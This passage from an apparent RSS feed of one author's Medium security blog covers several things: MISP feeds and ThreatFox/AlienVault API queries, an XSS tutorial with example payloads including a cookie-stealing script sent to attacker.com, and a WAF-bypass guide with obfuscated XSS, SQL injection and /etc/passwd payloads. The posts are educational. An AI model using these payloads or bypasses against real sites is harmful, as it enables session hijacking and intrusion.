and shared within the platform. These feeds provide regular updates on Indicators of Compromise (IOCs) and other threat-related information, helping organizations stay updated on the latest security threats.</p><p><strong>Key Points about Feeds in MISP:</strong></p><p><strong>Automatic Updates</strong>: Feeds bring in fresh data on threats like IPs, domains, hashes, vulnerabilities, etc.</p><p><strong>External Sources</strong>: Feeds come from public, community, or commercial threat intelligence sources.</p><p><strong>Customization</strong>: Users can select which feeds to import, allowing them to focus on relevant intelligence.</p><p><strong>Feed Types</strong>: Can include lists of malicious IPs, phishing URLs, malware hashes, and more.</p><p>MISP feeds enhance the platform’s ability to quickly detect and respond to emerging threats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8D7tjOUgshj02QEP6dagA.png" /></figure><p>Now, let’s be realistic. While examining MISP, I’ve noticed that continuous feeding of cyber threat data is crucial for enabling rapid response. If our machine is powerful enough, performing daily feeds can be beneficial. However, there are times when issues arise during the feeding process due to problems with the remote server. From my months of analysis, I’ve found that feeds ranging from 8, 9, 15, 16, 32, and up to 76 can sometimes loop, causing operations to stall. To prevent overloading the system, it may be wise to disable these feeds temporarily. On the other hand, Total 58 Vendors feeds offer robust and comprehensive threat intelligence.</p><p>Automation of the feeding process can be efficiently managed through the graphical interface using scheduled tasks, or alternatively, you can easily set it up using cron jobs. If you ask me, using cron jobs might be the better option, as it allows for straightforward management.</p><h4>Threat Fox</h4><p>When it comes to ThreatFox and AlienVault, both platforms allow us to perform third-party queries via API, which can spare us from dealing with hardware requirements and installation complexities. These tools provide excellent threat intelligence with minimal latency, as the queries will be directed to external sources rather than our local system.</p><p><strong>ThreatFox</strong> is a threat intelligence platform that delivers actionable indicators of compromise (IOCs) related to malware, enhancing organizational security by providing real-time data on malicious activities.</p><p><strong>Key Features of ThreatFox:</strong></p><ul><li><strong>Malware IOCs:</strong> The platform specializes in sharing IOCs linked to active malware campaigns, including malicious domains, IP addresses, URLs, and file hashes.</li><li><strong>Real-time Updates:</strong> It is continuously updated, ensuring users have access to the latest data on emerging threats.</li><li><strong>API Access:</strong> ThreatFox enables users to programmatically query its database, allowing for easy integration of threat intelligence into security tools or platforms like MISP.</li><li><strong>Community-driven:</strong> The platform encourages contributions from security researchers and organizations, enhancing malware detection capabilities through shared intelligence.</li></ul><p>By integrating ThreatFox into platforms like MISP, organizations can effectively leverage its data to bolster their threat detection and response efforts.</p><pre> curl -X POST &quot;https://threatfox-api.abuse.ch/api/v1/&quot; \<br>-H &quot;Content-Type: application/json&quot; \<br>-d &#39;{ &quot;query&quot;: &quot;search_ioc&quot;, &quot;search_term&quot;: &quot;185.7.214.148&quot; }&#39; <br><br>Response<br>{<br>    &quot;query_status&quot;: &quot;ok&quot;,<br>    &quot;data&quot;: [<br>        {<br>            &quot;id&quot;: &quot;1308584&quot;,<br>            &quot;ioc&quot;: &quot;185.7.214.148:80&quot;,<br>            &quot;threat_type&quot;: &quot;botnet_cc&quot;,<br>            &quot;threat_type_desc&quot;: &quot;Indicator that identifies a botnet command&amp;control server (C&amp;C)&quot;,<br>            &quot;ioc_type&quot;: &quot;ip:port&quot;,<br>            &quot;ioc_type_desc&quot;: &quot;ip:port combination that is used for botnet Command&amp;control (C&amp;C)&quot;,<br>            &quot;malware&quot;: &quot;osx.poseidonstealer&quot;,<br>            &quot;malware_printable&quot;: &quot;Poseidon Stealer&quot;,<br>            &quot;malware_alias&quot;: &quot;Rodrigo Stealer&quot;,<br>            &quot;malware_malpedia&quot;: &quot;https:\/\/malpedia.caad.fkie.fraunhofer.de\/details\/osx.poseidonstealer&quot;,<br>            &quot;confidence_level&quot;: 100,<br>            &quot;first_seen&quot;: &quot;2024-08-10 13:44:25 UTC&quot;,<br>            &quot;last_seen&quot;: &quot;2024-08-10 15:09:35 UTC&quot;,<br>            &quot;reference&quot;: &quot;https:\/\/tria.ge\/240810-n9yc2ssgjf\/behavioral1&quot;,<br>            &quot;reporter&quot;: &quot;4n6bexaminer&quot;,<br>            &quot;tags&quot;: [<br>                &quot;c2&quot;,<br>                &quot;macOS Stealer&quot;,<br>                &quot;Poseidon&quot;,<br>                &quot;Poseidon Stealer&quot;,<br>                &quot;PoseidonStealer&quot;,<br>                &quot;Rodmacer Stealer&quot;,<br>                &quot;Rodrigo Stealer&quot;<br>            ],<br>            &quot;malware_samples&quot;: []<br>        },<br>        {<br>            &quot;id&quot;: &quot;1308748&quot;,<br>            &quot;ioc&quot;: &quot;http:\/\/185.7.214.148\/p2p&quot;,<br>            &quot;threat_type&quot;: &quot;botnet_cc&quot;,<br>            &quot;threat_type_desc&quot;: &quot;Indicator that identifies a botnet command&amp;control server (C&amp;C)&quot;,<br>            &quot;ioc_type&quot;: &quot;url&quot;,<br>            &quot;ioc_type_desc&quot;: &quot;URL that is used for botnet Command&amp;control (C&amp;C)&quot;,<br>            &quot;malware&quot;: &quot;osx.poseidonstealer&quot;,<br>            &quot;malware_printable&quot;: &quot;Poseidon Stealer&quot;,<br>            &quot;malware_alias&quot;: &quot;Rodrigo Stealer&quot;,<br>            &quot;malware_malpedia&quot;: &quot;https:\/\/malpedia.caad.fkie.fraunhofer.de\/details\/osx.poseidonstealer&quot;,<br>            &quot;confidence_level&quot;: 100,<br>            &quot;first_seen&quot;: &quot;2024-08-11 06:28:23 UTC&quot;,<br>            &quot;last_seen&quot;: null,<br>            &quot;reference&quot;: &quot;https:\/\/x.com\/4n6Bexaminer\/status\/1822284540527640735&quot;,<br>            &quot;reporter&quot;: &quot;NDA0E&quot;,<br>            &quot;tags&quot;: [<br>                &quot;Poseidon&quot;,<br>                &quot;PoseidonStealer&quot;<br>            ],<br>            &quot;malware_samples&quot;: []<br>        }<br>    ]<br>}                                             <br><br>{<br>    &quot;query_status&quot;: &quot;no_result&quot;,<br>    &quot;data&quot;: &quot;Your search did not yield any results&quot;<br>}</pre><h4>AlienVault</h4><p><strong>AlienVault</strong> is a comprehensive threat intelligence platform designed to provide organizations with actionable insights to enhance their security posture. It aggregates and analyzes data from various sources to deliver real-time information about potential threats, vulnerabilities, and malware activity. Here’s an overview of its features and capabilities:</p><h4>Key Features of AlienVault:</h4><p><strong>1.Unified Security Management:</strong></p><ul><li>AlienVault combines security information and event management (SIEM), asset discovery, vulnerability assessment, and intrusion detection into a single platform, streamlining security operations.</li></ul><p><strong>2.Threat Intelligence Feeds:</strong></p><ul><li>It offers curated threat intelligence feeds that include information on indicators of compromise (IOCs), vulnerabilities, and tactics used by threat actors. These feeds help organizations stay informed about the latest threats.</li></ul><p><strong>3.Open Threat Exchange (OTX):</strong></p><ul><li>AlienVault’s OTX is a community-driven platform where security researchers, incident responders, and organizations can share threat intelligence. This collaborative approach enhances the overall effectiveness of threat detection and response.</li></ul><p><strong>4.API Access:</strong></p><ul><li>AlienVault provides API access that allows users to query its threat intelligence data programmatically. This integration capability enables organizations to incorporate threat intelligence into their existing security workflows and tools.</li></ul><h3>Benefits of Using AlienVault:</h3><ul><li><strong>Improved Threat Detection:</strong> By leveraging real-time threat intelligence, organizations can enhance their ability to detect and respond to cyber threats effectively.</li><li><strong>Proactive Security Posture:</strong> The integration of various security capabilities allows for a more proactive approach to security, minimizing the risk of breaches.</li><li><strong>Community Collaboration:</strong> The OTX fosters a collaborative environment, enabling organizations to benefit from shared knowledge and experiences in the threat landscape.</li><li><strong>Streamlined Operations:</strong> With its unified platform, AlienVault simplifies security operations, reducing complexity and improving efficiency.</li></ul><p>By utilizing AlienVault’s threat intelligence capabilities, organizations can significantly enhance their security measures and better defend against the evolving landscape of cyber threats.</p><pre>curl https://otx.alienvault.com/api/v1/indicators/IPv4/156.146.56.131/general -H &quot;X-OTX-API-KEY: Your-Api-Key</pre><p>When working with threat intelligence tools like <strong>AlienVault</strong> and <strong>MISP</strong>, it’s essential to focus not only on the data provided in the responses but also on how to interpret this information effectively. Tools like GeoInfo can be utilized, and programming languages such as Python can be employed to analyze and understand the responses.</p><p>For instance, I’ve developed a Python-based threat intelligence tool that generates a custom <strong>threat score</strong>. This score is crucial because when a platform labels something as <strong>malicious</strong>, it can significantly impact availability and security operations. Therefore, employing multiple security mechanisms provides a more reliable defense strategy.</p><p>Additionally, <strong>OpenCTI</strong> is an excellent tool for integrating and consolidating the data from AlienVault and MISP, enabling us to transfer our intelligence to a local environment seamlessly. I will elaborate on this integration process later.</p><p>Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43711e4f5ded" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS : From Script to Breach]]></title>
            <link>https://medium.com/@yfgurs/xss-from-script-to-breach-6613c0555702?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/6613c0555702</guid>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[web-security-testing]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Fri, 18 Oct 2024 12:43:26 GMT</pubDate>
            <atom:updated>2024-10-18T12:43:26.855Z</atom:updated>
            <content:encoded><![CDATA[<h3>XSS : From Script to Breach</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2skEgrCgQfnN3r79OpkEwA.png" /></figure><h4>Cross-site Scripting</h4><p>Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user’s data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application’s functionality and data.</p><p><strong>How does XSS work?</strong></p><p>Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim’s browser, the attacker can fully compromise their interaction with the application.</p><p><strong>What are the types of XSS attacks?</strong></p><p>Reflected XSS, where the malicious script comes from the current HTTP request.</p><p>Stored XSS, where the malicious script comes from the website’s database.</p><p>DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.</p><h4><strong>Reflected Cross-site Scripting</strong></h4><p><strong>1. Search Function Vulnerability</strong></p><p>An attacker can exploit a website’s search function if it improperly displays user-supplied input. Suppose an attacker modifies the query parameter like this:</p><p>Original URL:</p><pre>https://insecure-website.com/search?term=gift</pre><p>Attack URL:</p><pre>https://insecure-website.com/search?term=&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>When this URL is visited by the victim, the browser interprets the malicious script embedded in the search term and executes it:</p><p>Resulting Response:</p><p>&lt;p&gt;You searched for: &lt;script&gt;alert(‘XSS’)&lt;/script&gt;&lt;/p&gt;</p><p>In this example, a JavaScript alert box pops up with the message “XSS”, demonstrating a successful attack.</p><p><strong>2. Login Page Vulnerability</strong></p><p>Suppose a login page reflects invalid credentials in the response. If the form isn’t properly validated, attackers can inject JavaScript into the error message.</p><p>Original Login URL:</p><pre>https://insecure-website.com/login?error=Invalid%20username</pre><p>Attack URL:</p><pre>https://insecure-website.com/login?error=&lt;script&gt;alert(&#39;Hacked&#39;)&lt;/script&gt;</pre><p>When the victim is tricked into visiting this link, the site displays the following:</p><p>Resulting Response:</p><p>&lt;p&gt;Login failed: &lt;script&gt;alert(‘Hacked’)&lt;/script&gt;&lt;/p&gt;</p><p>The victim sees an alert box that says “Hacked,” which indicates that the attacker’s script has been executed in the browser.</p><p><strong>3. Form Submission Vulnerability</strong></p><p>If a form submission handler echoes the user’s input in the response without proper sanitization, the attacker can inject a malicious script.</p><p>Original URL:</p><pre>https://insecure-website.com/form?name=John</pre><p>Attack URL:</p><pre>https://insecure-website.com/form?name=&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>If the form submission result reflects the name back to the user, the script is executed:</p><p>Resulting Response:</p><p>&lt;p&gt;Thank you, &lt;script&gt;alert(‘XSS’)&lt;/script&gt;, for your submission.&lt;/p&gt;</p><p>Instead of simply displaying the name, the malicious code is run in the user’s browser.</p><p><strong>4. URL Parameter in an Image Source</strong></p><p>Some websites display user-uploaded images or allow users to embed images via URLs. If an attacker can inject malicious code into the URL, it can trigger XSS:</p><p>Original URL:</p><pre>https://insecure-website.com/profile?avatar=https://images.com/user.png</pre><p>Attack URL:</p><pre>https://insecure-website.com/profile?avatar=&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>If the application doesn’t sanitize the URL input, the resulting page may look like this:</p><p>Resulting Response:</p><p>&lt;img src=”&lt;script&gt;alert(‘XSS’)&lt;/script&gt;” /&gt;</p><p>Here, the malicious script is executed instead of displaying an image, leading to an XSS attack.</p><p><strong>5. URL Redirection Vulnerability</strong></p><p>In some cases, applications might reflect URLs back to users (for example, in error messages). If an attacker can manipulate these URLs, it could lead to an XSS attack.</p><p>Original URL:</p><pre>https://insecure-website.com/redirect?url=https://trusted.com</pre><p>Attack URL:</p><pre>https://insecure-website.com/redirect?url=javascript:alert(&#39;XSS&#39;)</pre><p>Resulting Response:</p><p>&lt;p&gt;Redirecting you to: &lt;a href=”javascript:alert(‘XSS’)”&gt;click here&lt;/a&gt;&lt;/p&gt;</p><p>If the victim clicks the link, the script is executed, demonstrating how reflected XSS can be used to execute arbitrary code in the user’s browser.</p><h4>Impact of reflected XSS attacks</h4><p>If an attacker can control a script that is executed in the victim’s browser, then they can typically fully compromise that user. Amongst other things, the attacker can:</p><ul><li>Perform any action within the application that the user can perform.</li><li>View any information that the user is able to view.</li><li>Modify any information that the user is able to modify.</li><li>Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.</li></ul><p>To find and test for reflected XSS vulnerabilities, follow these summarized steps:</p><p>1. <strong>Test Every Entry Point</strong>: Identify and test all potential input points, including URL parameters, HTTP request bodies, file paths, and headers.</p><p>2. <strong>Submit Random Alphanumeric Values</strong>: Send unique random alphanumeric values (about 8 characters) to each entry point to check if they are reflected in the response. Use tools like Burp Intruder to automate the process.</p><p>3. <strong>Determine the Reflection Context</strong>: Identify where the reflected values appear in the response and what context they are in (e.g., inside HTML tags, attributes, JavaScript).</p><p>4. <strong>Test Candidate Payload</strong>: Based on the reflection context, test an initial XSS payload by sending it through Burp Repeater and seeing if it triggers script execution.</p><p>5. <strong>Test Alternative Payloads</strong>: If the initial payload is modified or blocked, try alternative XSS payloads depending on the context and input validation behavior.</p><p>6. <strong>Test in a Browser</strong>: Once you have a working payload, test it in a real browser by injecting it into the URL or using Burp Proxy. Use simple JavaScript like alert(document.domain) to confirm if the XSS attack works.</p><p>This process helps identify and verify reflected XSS vulnerabilities.</p><h3>Stored XSS</h3><p>What is Stored Cross-Site Scripting (Stored XSS)?</p><p>Stored cross-site scripting (also known as persistent XSS or second-order XSS) occurs when malicious data submitted by an attacker is stored by the server and later included in a webpage viewed by other users. Unlike reflected XSS, where the malicious script is reflected and executed immediately upon clicking a link, stored XSS involves data being saved in the server’s database and executed whenever other users load the affected page.</p><p>For example, if an application allows users to submit comments on a blog post, and the input isn’t sanitized, an attacker can submit a comment containing malicious JavaScript code. This code gets stored in the application’s database and is then executed in the browser of anyone who views the page.</p><p><strong>How Stored XSS Works</strong></p><p>Attacker Submits Malicious Input: The attacker sends input containing malicious JavaScript (e.g., through a form submission, a comment section, or a profile field).</p><p>Application Stores Input: The server stores this input in a database without proper sanitization or validation.</p><p>Users View Malicious Content: When other users visit the page containing the stored data, the malicious script is delivered and executed in their browsers, often without them interacting directly with the input.</p><p>Script Executes: The attacker’s script runs in the victim’s browser, potentially stealing session cookies, executing unauthorized actions, or redirecting the user to a malicious site.</p><p><strong>Example 1: Blog Comment Section Vulnerability</strong></p><p>Let’s say there is a comment section on a blog. An attacker could submit a comment like this:</p><p>Attack Comment:</p><pre>&lt;script&gt;alert(&#39;You have been hacked!&#39;)&lt;/script&gt;</pre><p>Server-side request (encoded):</p><pre>comment=%3Cscript%3Ealert%28%27You+have+been+hacked%21%27%29%3C%2Fscript%3E</pre><p>When this comment is stored in the database, it is later displayed like this in the blog post’s HTML:</p><p>&lt;p&gt;&lt;script&gt;alert(‘You have been hacked!’)&lt;/script&gt;&lt;/p&gt;</p><p>As soon as any user views the post, the JavaScript alert runs, displaying the message and potentially performing more harmful actions like session hijacking.</p><p><strong>Example 2: User Profile Page Vulnerability</strong></p><p>Suppose an attacker can edit their profile on a social media platform. They may submit a bio field containing the following script:</p><p>Malicious Bio:</p><pre>&lt;script&gt;document.cookie=&#39;stolen&#39;&lt;/script&gt;</pre><p>This script gets saved to the attacker’s profile. Now, when any user views the attacker’s profile, the script runs and may steal their cookies:</p><p>Resulting HTML when profile is viewed:</p><pre>&lt;p&gt;&lt;script&gt;document.cookie=&#39;stolen&#39;&lt;/script&gt;&lt;/p&gt;</pre><p>The attacker could steal session cookies from logged-in users, potentially taking over their accounts.</p><p><strong>Example 3: Message Board Post Vulnerability</strong></p><p>In a forum or message board, an attacker posts the following malicious script in a thread:</p><p>Attack Message:</p><pre>&lt;img src=&quot;nonexistent.jpg&quot; onerror=&quot;alert(&#39;XSS&#39;)&quot;&gt;</pre><p>This image tag includes an onerror event handler that triggers JavaScript when the image fails to load. Since the image doesn’t exist, the error occurs and executes the attacker’s code.</p><p>Encoded request:</p><pre>message=%3Cimg+src%3D%22nonexistent.jpg%22+onerror%3D%22alert%28%27XSS%27%29%22%3E</pre><p>When users visit this forum post, they see the following HTML:</p><p>&lt;p&gt;&lt;img src=”nonexistent.jpg” onerror=”alert(‘XSS’)”&gt;&lt;/p&gt;</p><p>The script executes, showing an alert, but in a real attack, it could be used to steal cookies or perform other malicious actions.</p><p><strong>Example 4: Product Review Page Vulnerability</strong></p><p>In an e-commerce application, an attacker could submit a malicious review on a product page:</p><p>Malicious Review:</p><pre>&lt;script&gt;window.location=&#39;http://attacker.com/steal?cookie=&#39;+document.cookie&lt;/script&gt;</pre><p>When this review is stored and later viewed by other customers, it runs, redirecting them to a malicious website controlled by the attacker.</p><p>Resulting HTML:</p><pre>&lt;p&gt;&lt;script&gt;window.location=&#39;http://attacker.com/steal?cookie=&#39;+document.cookie&lt;/script&gt;&lt;/p&gt;</pre><p>Here, the attacker steals cookies from customers viewing the product page.</p><p>Key Points about Stored XSS:</p><p>Attack Vector: The attacker submits the payload (usually via form input) which is stored server-side.</p><p>Execution: The stored malicious script is executed in the browser of anyone viewing the page with the infected content.</p><p>Impact: Can lead to session hijacking, data theft, or unauthorized actions performed in the context of the victim’s session.</p><p>Mitigation: Requires proper input sanitization and output encoding at the server-side, especially for user-generated content stored in the database.</p><p>Stored XSS is particularly dangerous because the malicious script is persistently embedded within the application, potentially affecting many users over time.</p><h4>How to Find and Test for Stored XSS Vulnerabilities</h4><p>Finding and testing stored XSS vulnerabilities involves systematically testing how user input is processed and reflected back in the application. Here’s a summary of the process:</p><p>1. <strong>Identify Entry Points:</strong></p><ul><li>Submit data through potential entry points such as URL parameters, POST data, HTTP headers, or other sources like email or third-party feeds.</li></ul><p>2. <strong>Identify Exit Points:</strong></p><ul><li>Check where the submitted data is reflected in the application, such as displayed comments, user profiles, or other pages, by navigating to various parts of the application.</li></ul><p>3. <strong>Track Links Between Entry and Exit:</strong></p><ul><li>Find connections between where user input is entered and where it is later displayed (the exit point). This may involve testing various sections of the application systematically.</li></ul><p>4. <strong>Test for XSS:</strong></p><ul><li>Once you find where user input is stored and later displayed, insert XSS payloads and test if they are executed.</li><li>Pay attention to the context in which data appears (HTML, attributes, JavaScript) and use appropriate payloads for that context.</li></ul><p>5. <strong>Monitor for Execution:</strong></p><ul><li>Use tools like Burp Suite or manual methods to test if the payload executes, often starting with simple JavaScript like alert(document.domain).</li></ul><p>By working through the application’s data flows from input to output, you can systematically identify stored XSS vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6613c0555702" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WAF : Defense in Depth]]></title>
            <link>https://medium.com/@yfgurs/waf-defense-in-depth-98acf91af537?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/98acf91af537</guid>
            <category><![CDATA[web-application-firewall]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[waf-bypass]]></category>
            <category><![CDATA[waf]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Thu, 17 Oct 2024 19:38:29 GMT</pubDate>
            <atom:updated>2024-10-17T19:38:29.182Z</atom:updated>
            <content:encoded><![CDATA[<h3>WAF : Defense in Depth</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8_nmAR8SW8vGg2K56egg8w.png" /></figure><p>A Web Application Firewall (WAF) is one of the most critical tools in modern cybersecurity. Today, most companies store sensitive data, such as customer and supplier information, in the cloud, data centers, or databases, and deliver services through their websites. While protecting a website might seem straightforward, even simple, static sites can be vulnerable to DDoS attacks, putting the business at risk. This can be particularly harmful for industries like healthcare, government, e-commerce, and finance, where disruptions can lead to serious consequences.</p><p>If a web application is exposed to attacks like SQL Injection, Command Injection, XSS, DDoS, or CSRF, the business could suffer significant damage to its revenue and reputation. This is where WAFs become essential. Investing in cybersecurity, and particularly in a WAF, is a critical step to protecting web applications. In cybersecurity, the key principles of Confidentiality, Integrity, and Availability (CIA) are crucial, and taking proactive measures to protect them is vital.</p><p>WAFs effectively reduce the attack surface and offer strong protection. However, it’s important to acknowledge that WAFs can be detected and bypassed through manual techniques or automated tools, which brings us to the concept of WAF bypassing.</p><p><strong>What is a WAF?</strong></p><p>A Web Application Firewall (WAF) is a security solution comprising a set of monitors and filters specifically designed to detect and block network attacks targeting web applications. WAFs operate at the application layer of the OSI model, acting as a critical line of defense for web-based services.</p><p>WAFs function in real-time, making decisions to grant or deny access based on predefined security rules. However, it is important for companies to understand that a WAF is not a comprehensive data protection solution. Instead, it should be integrated into the broader security framework of a web application, complementing other components such as systems that address non-HTTP/HTTPS protocols, incident response mechanisms, and anti-fraud services.</p><p>During penetration testing, the process typically begins with identifying the real IP address of the web application, enumerating the WAF vendor, and attempting to bypass its protections. Once the WAF’s defenses are breached, it opens the door to deeper penetration testing, revealing the vulnerabilities the client intended to shield behind the WAF.</p><p>Summary of Reasons to Use a WAF:</p><ul><li>Defense in Depth: Employing multiple layers of security measures to protect web applications.</li><li>Attack Detection and Mitigation: Identifying and blocking attacks against vulnerable web applications.</li><li>Vulnerability Protection: Offering defenses against a wide array of web vulnerabilities.</li><li>Web Environment Security: Safeguarding the company’s online presence.</li><li>Real IP Disclosure Protection: Preventing unauthorized access to the real IP address of the web application.</li></ul><p>There are two main methods of bypassing a WAF:</p><ol><li>Circumventing the WAF: This method uses OSINT tools to discover the backend server’s IP address, allowing direct access to the server, bypassing the WAF entirely.</li><li>Penetrating the WAF: After thorough reconnaissance, one can use fuzzing and encoding techniques to send payloads that the WAF fails to detect, thereby bypassing its protection.</li></ol><p>In cases where the backend server is configured to only accept traffic from specific WAF IP addresses or ports, even if the server’s IP is discovered, an attack may still be ineffective without proper misconfigurations. However, incorrect configurations can expose a business to serious data breaches.</p><p>There are many tools available to test WAF detection and bypass. It’s crucial to use both commercial and open-source tools for web scanning, conduct manual analysis, and create tailored payload lists for effective testing. Some of these open-source tools can be particularly useful in assessing WAF security.</p><p>In conclusion, I’ve highlighted some techniques and tools for WAF detection and bypass within the context of proactive cybersecurity. I hope this overview has been helpful.</p><p><strong>WhatWaf and WAFw00f</strong></p><p>WhatWaf and WAFw00f are excellent tools for detecting web application firewalls (WAFs). They send specific payloads in requests and analyze responses, particularly looking for HTTP status code 403, which indicates that access has been denied. This functionality allows them to identify the presence and type of WAFs protecting a web application.</p><p><strong>CloudFail</strong></p><p>CloudFail is a specialized tool designed for discovering the backend IP addresses of applications protected by Cloudflare. By utilizing data from sources like DNSDumpster and other OSINT (Open Source Intelligence) resources, CloudFail can effectively bypass the WAF by circumventing its protective measures.</p><h3>Techniques for Bypassing WAF: A Quick Guide</h3><p><strong>Description</strong>: While Web Application Firewalls (WAFs) are designed to protect web applications, certain techniques can be used to bypass them. This guide provides an overview of common WAF bypass methods, along with examples and explanations for each approach.</p><h4><strong>1. URL Encoding Technique</strong></h4><p><strong>Explanation</strong>: Payloads are encoded using URL encoding, which WAFs may fail to decode properly.</p><p><strong>Basic Request</strong></p><p>&lt;svg/x=&quot;&gt;&quot;/onload=confirm()//</p><p><strong>Bypassed Request</strong></p><p>%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F</p><p><strong>SQL Injection Example</strong>:</p><p>UNION(SELECT 1,2,3,4,5)</p><p><strong>Bypassed Request</strong>:</p><p>UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%29</p><h4><strong>2. Unicode Technique</strong></h4><p><strong>Explanation</strong>: Converting ASCII characters into their Unicode representations can bypass filters.</p><p><strong>Basic Request</strong>:</p><p>&lt;marquee onstart=prompt()&gt;</p><p><strong>Obfuscated Request</strong>:</p><p>&lt;marquee onstart=\u0070r\u06f\u006dpt()&gt;</p><p><strong>3. HTML Representation Technique</strong></p><p><strong>Explanation</strong>: Special characters are encoded into HTML entities, interpreted by the browser but may bypass the WAF.</p><p><strong>Basic Request</strong>:</p><p>&quot;&gt;&lt;img src=x onerror=confirm()&gt;</p><p><strong>Encoded Payload</strong>:</p><p>&amp;quot;&amp;gt;&amp;lt;img src=x onerror=confirm&amp;#40;&amp;#41;&amp;gt;</p><h4><strong>4. Case Toggling Technique</strong></h4><p><strong>Explanation</strong>: This method uses a combination of upper and lower case letters to confuse WAF filters.</p><p><strong>Basic Request</strong>:</p><p>&lt;script&gt;confirm()&lt;/script&gt;</p><p><strong>Bypassed Request</strong>:</p><p>&lt;ScrIpT&gt;confirm()&lt;/sCRiPt&gt;</p><p><strong>SQL Injection Example</strong>:</p><p>SELECT * FROM * WHERE OWNER = &#39;NAME_OF_DB&#39;</p><p><strong>Bypassed Request</strong>:</p><p>sELeCt * fRoM * wHerE OWNER = &#39;NAME_OF_DB&#39;</p><h4><strong>5. Using Comments Technique</strong></h4><p><strong>Explanation</strong>: Inserting comments in the middle of payloads helps to evade detection.</p><p><strong>Blocked Request</strong>:</p><p>&lt;script&gt;confirm()&lt;/script&gt;</p><p><strong>Bypassed Request</strong>:</p><p>&lt;!--&gt;&lt;script&gt;confirm/**/()/**/&lt;/script&gt;</p><h4><strong>6. Mixed Encoding Technique</strong></h4><p><strong>Explanation</strong>: A mix of encodings, such as URL encoding and HTML entities, can confuse WAF filters.</p><p><strong>Basic Request</strong>:</p><p>&lt;A HREF=&quot;http://66.000146.0x7.147/&quot;&gt;XSS&lt;/A&gt;</p><p><strong>Obfuscated Payload</strong>:</p><p>&lt;A HREF=&quot;h tt p://6 6.000146.0x7.147/&quot;&gt;XSS&lt;/A&gt;</p><h4><strong>7. Double Encoding Technique</strong></h4><p><strong>Explanation</strong>: Characters are encoded twice to confuse WAF filters that lack recursive decoding.</p><p><strong>Basic Request</strong>:</p><p>&lt;script&gt;confirm()&lt;/script&gt;</p><p><strong>Obfuscated Request</strong>:</p><p>%253Cscript%253Econfirm()%253C%252Fscript%253E</p><h4><strong>8. Wildcard Obfuscation Technique</strong></h4><p><strong>Explanation</strong>: Replacing parts of the command with wildcard characters (e.g., ? or *) can bypass filtering rules.</p><p><strong>Basic Request</strong>:</p><p>/bin/cat /etc/passwd</p><p><strong>Obfuscated Payload</strong>:</p><p>/???/??t /???/??ss??</p><h4><strong>9. Junk Characters Technique</strong></h4><p><strong>Explanation</strong>: Adding junk characters in a payload can confuse regex-based WAFs.</p><p><strong>Basic Request</strong>:</p><p>&lt;script&gt;confirm()&lt;/script&gt;</p><p><strong>Obfuscated Payload</strong>:</p><p>&lt;script&gt;+-+-1-+-+confirm()&lt;/script&gt;</p><h4><strong>10. Line Breaks Technique</strong></h4><p><strong>Explanation</strong>: Adding line breaks (CR/LF) can break regex-based WAF filters.</p><p><strong>Basic Request</strong>:</p><p>&lt;iframe src=javascript:confirm()&quot;&gt;</p><p><strong>Obfuscated Payload</strong>:</p><p>&lt;iframe src=javascript:confirm()&quot;&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98acf91af537" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information Disclosure Vulnerabilities]]></title>
            <link>https://medium.com/@yfgurs/information-disclosure-vulnerabilities-6218b02feade?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/6218b02feade</guid>
            <category><![CDATA[information-disclosure]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Wed, 16 Oct 2024 18:16:40 GMT</pubDate>
            <atom:updated>2024-10-16T18:16:40.773Z</atom:updated>
